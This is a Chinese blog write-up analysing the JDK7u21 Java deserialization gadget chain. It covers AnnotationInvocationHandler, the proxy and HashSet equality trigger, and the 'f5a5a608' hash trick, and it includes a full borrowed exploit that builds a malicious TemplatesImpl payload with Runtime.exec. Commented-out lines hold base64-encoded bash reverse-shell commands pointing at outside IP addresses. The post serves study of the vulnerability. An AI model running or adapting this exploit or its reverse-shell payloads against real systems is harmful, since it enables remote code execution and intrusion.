JDK7u21
发表于:2025-08-19 | 分类: Java

JDK7u21

前言

好久之前的文章了,忘记发了

环境配置

  • 只需JDK7u21

JDK7u21攻击链分析

JDK7u21的核心

JDK7u21的核心点就是`sun.reflect.annotation.AnnotationInvocationHandler`

我们可以看到AnnotationInvocationHandler中的equalsImpl方法

其中有一个明显的反射调用memberMethod.invoke(o),而其中memberMethod来自type.getDeclaredMethods()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
private Boolean equalsImpl(Object var1) {
if (var1 == this) {
return true;
} else if (!this.type.isInstance(var1)) {
return false;
} else {
Method[] var2 = this.getMemberMethods();
int var3 = var2.length;

for(int var4 = 0; var4 < var3; ++var4) {
Method var5 = var2[var4];
String var6 = var5.getName();
Object var7 = this.memberValues.get(var6);
Object var8 = null;
AnnotationInvocationHandler var9 = this.asOneOfUs(var1);
if (var9 != null) {
var8 = var9.memberValues.get(var6);
} else {
try {
var8 = var5.invoke(var1);
} catch (InvocationTargetException var11) {
return false;
} catch (IllegalAccessException var12) {
throw new AssertionError(var12);
}
}

if (!memberValueEquals(var7, var8)) {
return false;
}
}

return true;
}
}

也就是说这个equalsImpl方法遍历调用了this.type这个类中的所有方法,如果说这个类是一个Templates类,那么就会调用它的newTransform()getOutputproperties()方法,进而触发任意代码执行。

调用equalsImpl

这里把p神的解释拿过来

作为一门静态语言,如果想劫持一个对象内部的方法调用,实现类似PHP的魔术方法 __call ,我

们需要用到 java.reflect.Proxy :

Proxy.newProxyInstance 的第一个参数是ClassLoader,我们用默认的即可;第二个参数是我

们需要代理的对象集合;第三个参数是一个实现了InvocationHandler接口的对象,里面包含了具

体代理的逻辑。

我们回看 sun.reflect.annotation.AnnotationInvocationHandler ,会发现实际上这个类实

际就是一个InvocationHandler,我们如果将这个对象用Proxy进行代理,那么在readObject的时

候,只要调用任意方法,就会进入到 AnnotationInvocationHandler#invoke 方法中,进而触发

我们的 LazyMap#get 。

十分美妙。

在动态绑定一个接口时候,如果调用其任意方法,就会执行到InvokationHandler#invoke方法中。执行invoke方法时,第一个参数就是这个Proxy,第二个参数就是调用方法的名称,第三个参数就是执行方法时的参数列表

而我们找到了在的invoke方法中调用了equalsImpl方法

1
2
3
4
5
6
7
8
public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
}
......
}

如果说我们调用了动态代理的invoke方法,且调用方法名为equals,参数有且只有一个时,才会进入if方法去执行equalsImpl方法,且参数为equals的仅一个参数

找到equals方法调用链

有一个比较常见调用equals的地方就是集合set,在集合中不允许存在重复的对象,所以一定会存在比较的方法

我们看一下HashSetreadObject方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in any hidden serialization magic
s.defaultReadObject();

// Read in HashMap capacity and load factor and create backing HashMap
int capacity = s.readInt();
float loadFactor = s.readFloat();
map = (((HashSet)this) instanceof LinkedHashSet ?
new LinkedHashMap<E,Object>(capacity, loadFactor) :
new HashMap<E,Object>(capacity, loadFactor));

// Read in size
int size = s.readInt();

// Read in all elements in the proper order.
for (int i=0; i<size; i++) {
E e = (E) s.readObject();
map.put(e, PRESENT);
}
}

这里创建了一个HashMap,将对象放在HashMap的key的位置来去重

HashMap,就是数据结构里的哈希表,相信上过数据结构课程的同学应该还记得,哈希表是由数组+链

表实现的——哈希表底层保存在一个数组中,数组的索引由哈希表的 key.hashCode() 经过计算得到,

数组的值是一个链表,所有哈希碰撞到相同索引的key-value,都会被链接到这个链表后面。

下面是HashMap的Put方法,这里掉用的equals方法非常符合我们想找的形式

想要触发key.equals(k),我们需要让传入的两个key的hash相等时,才能走入同一个table内

我们最终想要触发Proxy.equals(Templates),所以我们传入两个key就是Proxy和Templates

所以我们应该想办法,让Proxy和Templates的hash相等

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public V put(K key, V value) {
if (key == null)
return putForNullKey(value);
int hash = hash(key);
int i = indexFor(hash, table.length);
for (Entry<K,V> e = table[i]; e != null; e = e.next) {
Object k;
if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
V oldValue = e.value;
e.value = value;
e.recordAccess(this);
return oldValue;
}
}

modCount++;
addEntry(hash, key, value, i);
return null;
}


巧用Magic Number

简化以后就是如下代码,计算哈希只看这两行代码就行
1
2
int hash = hash(key);
int i = indexFor(hash, table.length);

关键函数提取出来后,可以得到以下函数

1
2
3
4
5
6
7
8
public static int hash(Object key) {
int h = 0;
h ^= key.hashCode();

h ^= (h >>> 20) ^ (h >>> 12);
h = h ^ (h >>> 7) ^ (h >>> 4);
return h & 15;
}

除了 key.hashCode() 外再没有其他变量,所以proxy对象与TemplateImpl对象的“哈希”是否相等,仅取决于这两个对象的 hashCode() 是否相等。TemplateImpl的 hashCode() 是一个Native方法,每次运行都会发生变化,我们理论上是无法预测的,所以想让proxy的 hashCode() 与之相等,只能寄希望于proxy.hashCode() 。

若proxy调用hashCode,那么就会调用到AnnotationInvocationHandler#invoke方法,进而调用hashCodeImpl方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
else if (var4.equals("hashCode")) {
return this.hashCodeImpl();
}

private int hashCodeImpl() {
int var1 = 0;

Map.Entry var3;
for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {
var3 = (Map.Entry)var2.next();
}

return var1;
}

遍历 memberValues 这个Map中的每个key和value,计算每个 (127 * key.hashCode()) ^ value.hashCode() 并求和。

JDK7u21中使用了一个非常巧妙的方法:

  • 当 memberValues 中只有一个key和一个value时,该哈希简化成 (127 *key.hashCode()) ^ value.hashCode()
  • 当 key.hashCode() 等于0时,任何数异或0的结果仍是他本身,所以该哈希简化成 value.hashCode() 。
  • 当 value 就是TemplateImpl对象时,这两个哈希就变成完全相等

所以我们需要找到一个hash值为0的key,将恶意的Templates放入value中,这样计算key的hash为0后,就会将value的hash返回回去,就会和原来的hash相等

这里别人爆破到hashCode值为0的,是 f5a5a608

所以我们需要put时,调用map.put('f5a5a608',templates),这样的化,在计算Proxy的hash值时,即为计算templates的hash值(有点感觉像ctf里面php反序列化中的,地址赋值法(自己起的名字))

小结

现在的链构造流程就非常的清晰明了了

首先生成恶意TemplateImpl 对象

实例化AnnotationInvocationHandler 对象

  • 它的type属性是一个TemplateImpl类
  • 它的memberValues属性是一个Map,Map只有一个key和value,key是字符串f5a5a608 , value是前面生成的恶意TemplateImpl对象

对这个AnnotationInvocationHandler 对象做一层代理,生成proxy对象

实例化一个HashSet,这个HashSet有两个元素,分别是:

  • TemplateImpl对象
  • proxy对象

将HashSet对象进行序列化

EXP编写(不是很会,拿来主义)

从别的师傅那里拿来的EXP如下(不是很会,拿来主义)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
package com.source;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.*;

public class jdk {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "Drunkbaby");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
// new String[]{\"/bin/bash\", \"-c\", \"{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjAuNzkuMC4xNjQvMTIzNiAwPiYx}|{base64,-d}|{bash,-i}\"}"
byte[] evil = getTemplatesImpl("Calc");
byte[][] codes = {evil};
setFieldValue(templates, "_bytecodes", codes);

String evilHashCode = "f5a5a608";
// 实例化一个map,并添加Magic Number为key,也就是f5a5a608,value先随便设置一个值
HashMap hashMap = new HashMap();
hashMap.put(evilHashCode,"sean");

// 下面部分搞动态代理,反射获取 AnnotationInvocationHandler 类,再实例化

Class handler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = handler.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Templates.class, hashMap);

// 创建动态代理

Templates proxy = (Templates) Proxy.newProxyInstance(jdk.class.getClassLoader(),
new Class[]{Templates.class}, invocationHandler);

// 准备入口类 LinkedHashSet
HashSet hashSet = new LinkedHashSet();
hashSet.add(templates);
hashSet.add(proxy);

// 将恶意templates设置到map中
hashMap.put(evilHashCode, templates);
serialize(hashSet);
deserialize("ser.bin");
}

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object deserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}

public static byte[] getTemplatesImpl(String cmd) {
try {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Evil");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = ctClass.makeClassInitializer();
constructor.setBody(" try {\n" +
" Runtime.getRuntime().exec(\"" + cmd +
"\");\n" +
" } catch (Exception ignored) {\n" +
" }");
// "new String[]{\"/bin/bash\", \"-c\", \"{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMC4xMS4yMzEvOTk5MCAwPiYx}|{base64,-d}|{bash,-i}\"}"
byte[] bytes = ctClass.toBytecode();
ctClass.defrost();
return bytes;
} catch (Exception e) {
e.printStackTrace();
return new byte[]{};
}
}
}

有些地方暂时不是很会,别的师傅EXP中所写的 创建类 并读取字节 的方法,后续会补起来的

断点调试

我们在HashSetreadObject方法中下一个断点

第一次进入HashMap#put方法,其中table值为空,我们就无法遍历,只能向下走入addEntry方法,经过该方法后,table中不为空

第二次进入put方法后,由于我们构造的MagicNumber,现在能够成功走到key.equals方法处

由于key为一个Proxy类,因此在调用key的equals方法时,我们发现就会进入到AnnotationInvocationHandlerinvoke方法中

这里由于调用方法为equals,且参数只有一个,所以能够进入到if代码块中,调用equalsImpl方法

进入equalsImpl内,第一次循环时,我们就看到methodNamenewTransformer方法,这里通过反射调用该方法,就触发我们后续的攻击链

后续的分析之前有说过,所以这里不再过多赘述

小结

感觉很神奇的一条链子,看起来有种CTF的感觉

上一篇:
Jackson反序列化
下一篇:
H2-JDBC-Attack